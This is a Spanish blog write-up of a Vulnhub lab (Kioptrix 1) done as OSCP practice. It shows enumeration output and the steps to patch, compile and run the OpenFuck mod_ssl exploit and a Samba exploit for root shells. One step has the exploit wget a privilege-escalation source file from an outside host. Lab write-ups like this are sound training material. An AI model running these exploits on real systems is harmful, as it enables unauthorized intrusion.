Writeup #Kiotropix1 #vulnhub

Estos meses llevo preparándome para presentarme a la certificación de Offensive Security OSCP, para apuntarme a finales de este mes, por eso voy a subir los writeups de las máquinas vulnerables que vaya haciendo.

En este post voy a mostrar los pasos que hice para llegar a root en la máquina vulnerable Kiotropix 1.

Las herramientas que he utilizado son:

  • Nmap
  • Searchsploit
  • Nikto
  • Dirbuster
  • Enum4linux
  • Nmblookup

Information Gathering && Enumeration

Lo primero que hice fue localizar el objetivo, para ello debemos conocer la dirección IP y ver en que rango de red estamos, con el comando ifconfig lo podemos ver:

kio1_ifconfig

Vemos que nuestra dirección IP es la 192.168.1.105 por lo que podemos hacer un Ping sweep a la red para conocer que mas hosts estan levantados, para ello use la herramienta nmap con el flag -sP, en mi caso sabía que era la IP 192.168.1.100 el objetivo pero si no el comando sería:

nmap -sP 192.168.1.1-255

kio1_nmapsp

Ahora que ya hemos localizado al objetivo el siguiente paso será ver que servicios corren en su máquina, para ello usamos otra vez nmap.

kio1_nmapA

Vemos que tiene varios puertos abiertos, podemos verlo mas resumido con:

nmap -sT -sV -Pn -n 192.168.1.100

kio1_nmapresume

Exploiting HTTP/HTTPS

Vamos a ver como conseguimos explotar los servicios web del objetivo, para ello vamos a centrarnos en recolectar información sobre los puertos HTTP(80) y HTTPS(443), para ello lo primero que hacemos es acceder a la página web y ver que información podemos extraer.

kio1_web

De ella podemos sacar alguna información como:

  • Servidor web Apache
  • Seguramente configuración por defecto
  • Contenido en /var/www/
  • Sistema Operativo Linux (Red Hat)

Como no sé otras rutas dentro del servidor web, he usado la herramienta dirbuster para hacer fuerza bruta a partir de un diccionario de los que incluye Kali, y así poder comprobar que directorios o ficheros puede tener para poder ver posibles métodos de ataque.

kio1_dirbuster

Si queremos usar otros diccionarios podemos buscar en la ruta: /usr/share/dirbuster/wordlists/

El reporte obtenido por dirbuster es el siguiente:

Dirs found with a 200 response:
/
/icons/
/manual/
/manual/mod/
/usage/
/icons/small/
/mrtg/
/manual/mod/mod_perl/
/manual/mod/mod_ssl/
Dirs found with a 403 response:
/cgi-bin/
/doc/
Files found with a 200 responce:
/test.php
/usage/usage_201702.html
/usage/usage_200909.html
/mrtg/mrtg.html
/mrtg/unix-guide.html
/mrtg/nt-guide.html
/mrtg/cfgmaker.html
/mrtg/indexmaker.html
/mrtg/reference.html
/mrtg/faq.html
/mrtg/forum.html
/mrtg/contrib.html
/mrtg/mrtg-rrd.html
/mrtg/logfile.html
/mrtg/mibhelp.html
/mrtg/squid.html
/mrtg/webserver.html
/manual/mod/mod_ssl/ssl_overview.html
/manual/mod/mod_ssl/index.html
/manual/mod/mod_ssl/ssl_intro.html
/manual/mod/mod_ssl/ssl_reference.html
/manual/mod/mod_ssl/ssl_compat.html
/manual/mod/mod_ssl/ssl_howto.html
/manual/mod/mod_ssl/ssl_faq.html
/manual/mod/mod_ssl/ssl_glossary.html

De estos directorios podemos hacernos una idea de los posibles vectores de ataque que podemos probar.

  • mrtg (Multi Router Traffic Grapher)
  • mod_ssl
  • mod_perl
  • Directorio cgi-bin (posibilidad de shellshock)

Para obtener un resultado más específico de los posibles ataques que podemos hacer y no ir tan a ciegas, he usado nikto que es un escáner de vulnerabilidades web, malas configuraciones, plugins desactualizados, etc…

nikto -h 192.168.1.100 -o nikto_output.txt

La salida que obtenemos es la siguiente:
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep 6 05:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ OSVDB-838: Apache/1.3.20 – Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 – Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 – Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra ‘/’ to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting…

De los resultados obtenidos hay uno que es el que mas me llama la atención:

mod_ssl/2.8.4 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell

Para buscar exploits en Kali rápidamente, siempre uso la herramienta searchsploit seguida del nombre del servicio, módulo o vulnerabilidad que queramos buscar más la versión específica.

searchsploit mod_ssl 2.8.7

kio1_searchsploit

Como este exploit me dio problemas al compilarlo, explico la solución que encontré por internet.

sudo apt-get install libssl1.0-dev
sudo apt install libssl-dev

Editamos el exploit con el editor que más os guste (vim, nano, gedit…) y añadimos las siguientes cabeceras:

#include <openssl/rc4.h>
#include <openssl/md5.h>

Actualizamos la URL del fichero C, buscando por la cadena wget y lo reemplazamos por:

wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

En la línea 961 cambiamos:

unsigned char *p, *end;

por :

const unsigned char *p, *end;

Y compilamos:

gcc -o OpenFuck 764.c -lcrypto

Ejecutamos el exploit para ver su uso.

kio1_openfuck

Para obtener el target ejecutamos el programa y filtramos por la versión de Apache y la distribución del objetivo:

./OpenFuck | grep 1.3.20 | grep -i redhat

Tenemos 2 targets así que probamos con el primero:

./OpenFuck 0x6a 192.168.1.100 -c 40

No conseguimos obtener la shell, probamos con el segundo target a ver si tenemos más suerte:

./OpenFuck 0x6b 192.168.1.100 443 -c 40

kio1_openfuck2

Como podéis ver nos ha devuelto una shell como root, por lo que no necesitamos ni escalar privilegios.

Exploiting Netbios

Voy a mostrar las diferentes formas que usado para obtener información sobre dicho protocolo. Lo primero que haremos será mostrar los nombres de netbios del objetivo.

nmblookup -A 192.168.1.100

kio1_nmblookup

Windows quiere hacer la comunicación dentro de la red fácil y por ello en vez de usar IP para encontrar a un equipo, los identifica mediante un nombre.

También he usado la herramienta enum4linux para obtener mas información acerca de usuarios, grupos, recursos compartidos del objetivo. Muestro una información resumida de lo que considero más importante del resultado obtenido:

enum4linux -a 192.168.1.100

==========================
| Target Information |
==========================
Target ……….. 192.168.1.100
RID Range …….. 500-550,1000-1050
Username ……… ”
Password ……… ”
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 192.168.1.100 |
=====================================================
[+] Got domain/workgroup name: MYGROUP
=============================================
| Nbtstat Information for 192.168.1.100 |
=============================================
Looking up status of 192.168.1.100
KIOPTRIX – B Workstation Service
KIOPTRIX – B Messenger Service
KIOPTRIX – B File Server Service
..__MSBROWSE__. – B Master Browser
MYGROUP – B Domain/Workgroup Name
MYGROUP – B Master Browser
MYGROUP – B Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on 192.168.1.100 |
======================================
[+] Server 192.168.1.100 allows sessions using username ”, password ”
=======================================
| OS information on 192.168.1.100 |
=======================================
[+] Got OS info for 192.168.1.100 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
==========================================
| Share Enumeration on 192.168.1.100 |
==========================================
Sharename Type Comment
——— —- ——-
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Server Comment
——— ——-
KIOPTRIX Samba Server
Workgroup Master
——— ——-
MYGROUP KIOPTRIX

Hemos obtenido bastante información con este último comando, por ejemplo la versión de samba, con la cual podemos buscar algún exploit y probar si conseguimos alguna shell remota.

Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

searchsploit samba linux 2.2

kio1_searchsploit2

Probé el primero /linux/remote/7.pl pero no conseguí explotarlo.

kio1_perl7

después busqué más información del exploit con el comando, pero esta vez con el flag w para que nos devuelva la página web de exploit-db:

searchsploit -w /linux/remote/7.pl

Al entrar en la web de exploit-db podemos pinchar sobre el CVE del exploit y encontrar más información, pero al final encontré que solo funcionaba para versiones de 2.2.5 a 2.2.8 para la distribución de RedHat.

Con el siguiente exploit tuve más suerte y conseguí una shell en el objetivo, el exploit es el 10.c.

kio1_samba

Lo ejecutamos con el flag -b 0 para indicarle que es un sistema Linux

kio1_execute_10

Y shell como root lista 🙂

Otra forma de ver posibles vulnerabilidades es con los scripts de nmap, para ello primero busco que scripts me pueden valer:

locate *.nse | grep -i smb

kio1_locate

En este caso vamos a usar todos los que nos muestren vulnerabilidades del servicio:

nmap -p139 –script=smb-vuln*.nse 192.168.1.100

kio1_nmap139

Creo que es un falso positivo ya que indica que es vulnerable para máquinas Windows y nuestro objetivo está corriendo el servicio en un Linux.

Y eso es todo lo que conseguí sobre esta máquina, bastante sencilla para empezar ya que no tenemos ni que escalar privilegios para conseguir hacernos con root.

Esta entrada fue publicada en Vulnhub. Guarda el enlace permanente.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

w

Conectando a %s